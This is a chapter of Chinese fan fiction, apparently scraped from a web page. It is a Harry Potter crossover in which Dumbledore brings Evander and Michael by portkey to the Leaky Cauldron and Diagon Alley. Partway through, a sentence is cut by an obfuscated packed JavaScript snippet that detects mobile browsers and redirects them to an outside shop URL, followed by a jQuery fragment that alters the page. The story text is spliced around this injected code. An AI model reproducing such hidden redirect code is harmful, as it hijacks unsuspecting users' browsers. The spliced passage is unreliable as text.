除了那些外伤，邓布利多还检查出，迈克尔被施了一种高明的遗忘咒。他可以帮助迈克尔解除咒语，但这会导致他在短时间内有一些后遗症——比如头晕和记忆冲突。
考虑到他们今天需要完成采购，迈克尔接受了邓布利多的建议，等回来的时候再接受治疗。
“以往，我总是带学生和家长们用麻瓜的方式或者幻影移形去对角巷，不过那都是短距离的移动，”邓布利多咯咯笑着，“今天我们要用门钥匙！它能让我们在两个国家之间快速穿梭。”
迈克尔和埃凡德对邓布利多话里的词汇都不陌生——艾玛和兰登就是用一个门钥匙逃到了美国，撞到了迈克尔。
“你们只要碰到门钥匙，就这样，伸出一根手指就行——哦，最好是牵住我的手，避免摔倒——”
迈克尔和埃凡德依言照做，紧紧盯着那个像旧鞋子一样的门钥匙——天啊，那就是一只旧鞋子！
“好的，听我说，三、二、一。”
说时迟那时快，埃凡德觉得，似乎有一个钩子在他肚脐眼后面以无法抵挡的势头猛地向前一钩，他便双脚离地，飞起来了。
他可以感觉到迈克尔和邓布利多在他两边，他们的肩膀与他的撞到一起。他们一阵风似的向前疾飞，眼前什么也看不清。埃凡德的食指紧紧粘在靴子上，好像那靴子具有一股磁力似的，把他拉过去，拉过去，然后——
他的双脚重重地落到地上，尽管踉跄了几下，但他还是站稳了。这种感觉有点像公交车急停的时候、或者从几节高的楼梯上跳下来的时候。
迈克尔同样没有摔倒。或许是因为长年跳舞给他带来的优异的平衡感，又或许是因为他自己就喜欢在舞台上蹦蹦跳跳的，这点高度对他来说根本不算什么。
“哦，我很高兴看见没有任何人摔倒。”邓布利多兴高采烈地收起了那个门钥匙——埃凡德依旧没看见他将它收到哪里去了。
“Woo！我喜欢这种感觉，比过山车还要刺激！”迈克尔兴奋地赞叹，“霍格沃茨会教这种魔法吗？或者它是否作为一种商品售卖？”
“很遗憾，迈克尔，门钥匙由魔法部交通司的门钥匙办公室统一审批，私自制作门钥匙属于违法黑魔法行为，未经许可施法违规。所以，学生们通常不会学习如何制作门钥匙。”
埃凡德注意到，邓布利多话语里许多用词都很有意思。不过或许是碍于教授和校长这些身份的威严，一向机灵的迈克尔反而没有注意到这一点。他看上去有些失望，不过很快就接受了。
埃凡德下决心要想办法学会这个咒语，偷偷做一个门钥匙——反正他是美国人，英国魔法部在假期大概也管不着。
这个想法刚一出现，埃凡德对上邓布利多的目光——邓布利多俏皮地朝着他眨了眨眼。
“我们到了，”邓布利多不再说门钥匙，“破釜酒吧——哦，梅林的胡子呀，我已经很多年没有来过这里了。”
这是一家肮脏的狭小酒吧。匆忙过往的人们连看也不看它一眼，他们的目光只落在它一边的一家大书店和另一边的一家唱片店上。他们好像根本看不见破釜酒吧。
埃凡德想，那家唱片店里肯定有卖迈克尔的唱片——真是奇妙，巫师的世界和迈克尔的音乐只隔着一道墙、两扇门的距离。
“或许我们该跑起来了。”
迈克尔突然开口，把墨镜往鼻梁上扶了扶。埃凡德扭头，发现已经有不少人正在边走路边扭头朝着他们看——对了！今天来魔法世界采购，迈克尔和埃凡德都忘记了伪装……
反应过来这一点，埃凡德一把抓住迈克尔和邓布利多的手，拉着他们冲进了破釜酒吧。
作为一个出名的地方，这里实在是太黑太脏了。几个老太婆坐在屋角拿着小杯喝雪利酒，其中一个正在抽一杆长烟袋；一个戴大礼帽的小男人正在跟那个头发几乎脱光、长得像瘪胡桃似的酒吧老板聊天。他们刚一进门，叽叽喳喳的说话声就突然停了下来。
“哦，梅林啊，是邓布利多！”
“邓布利多？他不是应该在霍格沃茨吗？”
“看样子是来接新生的。”
“那个新生有什么特别？值得邓布利多去接。”
“或许他只是想出来走走也说不定？别想太多了，邓布利多也只是个强大一点的普通巫师。”
“强大一点？普通？你要不听听你在说什么？”
邓布利多对这些议论的声音充耳不闻，只是很高兴地冲着吧台后正在擦杯子的酒吧老板打招呼：
“好久不见，汤姆！”
“稀客啊，邓布利多先生，”汤姆是一个秃顶的男巫，说话时咧嘴笑着，露出他没牙的口腔，脸皱巴巴像一颗干胡桃，“要不要来杯什么？”
“不，谢谢你，汤姆，不过我正在办正事呢，”邓布利多揽住埃凡德的肩膀，“小杰克逊先生是今年的新生。”
汤姆凑近了一些，使劲儿地揉了揉眼睛——似乎这样能够将眼前的这张脸看得更清楚一些。
“哎呀，这不是……”他小声嘀咕着，从柜台后走出来，凑近了邓布利多问，埃凡德必须要更近一些才能听到些许耳语，“……是兰登的儿子？”
邓布利多轻轻点了点头。
“哎呀，那个无礼的可爱小子……”汤姆有些伤感，“等我一会儿。”
汤姆快步走回柜台后，拿出一本薄薄的相册，迅速翻到其中一页，抽出一张，同另一个东西一起塞进信封里。
“这个给你，孩子，”汤姆抓住埃凡德的手，把信封塞进他的手里，“祝你有愉快的一天。”
埃凡德扭头看了看迈克尔——他戴着墨镜，看不清楚表情。见埃凡德回头，上前一步，对着汤姆说：
“谢谢你，汤姆先生……”
汤姆以为迈克尔要拒绝。他转而板起脸来，把信封拍在迈克尔胸口，摆了摆手，又快步走开了。
埃凡德叹了口气——今天他听见自己亲生父母名字的频率比过去十年多的日子加起来还高。虽然刚才汤姆和邓布利多讲的是悄悄话，但从汤姆一开始盯着他看的举动，迈克尔肯定能猜到这突如其来的举动和埃凡德的亲生父母有关。
埃凡德不喜欢这种将迈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626924|204369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
克尔隐隐排除在外的感觉。
“我们快去买东西吧，邓布利多教授，”埃凡德提议道，“时间就是金钱。”
“哦，当然，我们今天已经耽误很多时间啦，”邓布利多一拍脑门，像才想起来这件事似的，“我们有许多东西要买呢！跟我来吧。”
邓布利多戴着埃凡德和迈克尔穿过吧台，来到四面有围墙的小天井里。这里除了一只垃圾桶和一些杂草，什么也没有。
“以垃圾桶为起点，往上数三块，再往横里数两块的砖头，轻轻敲三下——”
邓布利多用魔杖尖在那块砖头上轻轻敲了三下，接着，他敲过的那块砖抖动起来，开始移动，中间的地方出现了一个小洞，洞口越变越大。不多时，他们面前就出现了一条宽阔的拱道，通向一条蜿蜒曲折、看不见尽头的鹅卵石铺砌的街道。
“欢迎来到对角巷，先生们——”
邓布利多又咯咯笑起来，似乎很满意埃凡德脸上那种有些震撼、但努力保持着平静的表情（迈克尔带着墨镜，看不见眼神，但埃凡德相信他只会比自己更惊喜）。
迈克尔不由自主地向前走去，脚步轻飘飘地像在跳太空步；这让埃凡德一下子回过神来，牵住了迈克尔的手，以免他们被冲散在人群中；邓布利多看两个人都向前走了，自己也不紧不慢地跟上，任由拱道在背后不断收窄、然后再次变为石墙。
耀眼的阳光投射在最近一家商店门外的一摞坩埚上。坩埚的上方悬挂着一块牌子，上边写着：
铜质——黄铜质——锡镴质——银质坩埚，型号齐全，自动搅拌——可折叠。
“哦，你需要买一个，”邓布利多说，“不过我们先得去古灵阁，把你们手上的财富换成巫师的货币——”
走在街上，迈克尔和埃凡德一路都在东张西望：
一个紫色袍子的瘦高女巫拿着报纸站在路边，向身边的同伴大声夸赞着新型美容魔药的效果；从一家晦暗的商店里传出一阵低沉轻柔的呜呜声，门前的招牌上写着：咿啦猫头鹰商店——灰林枭、鸣角枭、草枭、褐枭、雪枭；几个与埃凡德年龄相仿的男孩鼻尖紧贴着橱窗玻璃，橱窗里摆着飞天扫帚。
值得一提的是，迈克尔在咿啦猫头鹰商店外驻足许久。他盯着那些正咕咕叫着、或者闭眼休息的猫头鹰们看了至少有三分钟，直到埃凡德不得不把他叫走。
“它们真可爱，”迈克尔有些恋恋不舍地说，“还记得第一次为我们送信的那只猫头鹰吗？为什么这里的猫头鹰看起来比那些野生的猫头鹰更亲人、也更聪明？”
“不知道原因的时候，一切都用魔法来解释吧，”埃凡德说，“我们可以买一只或者两只猫头鹰，毕竟在上学之后，我们还需要猫头鹰来跨国送信——别和我说你想把店里所有的猫头鹰都买下来！”
——————
本章注释：
1.在读者“月下孤舟（死亡圣器符号，我打不出来）”的提醒下更改了章节《邓布利多校长》中有关迈克尔对邓布利多的称呼问题。打了一段补丁。感谢感谢喵！后文会多注意统一人称的问题的。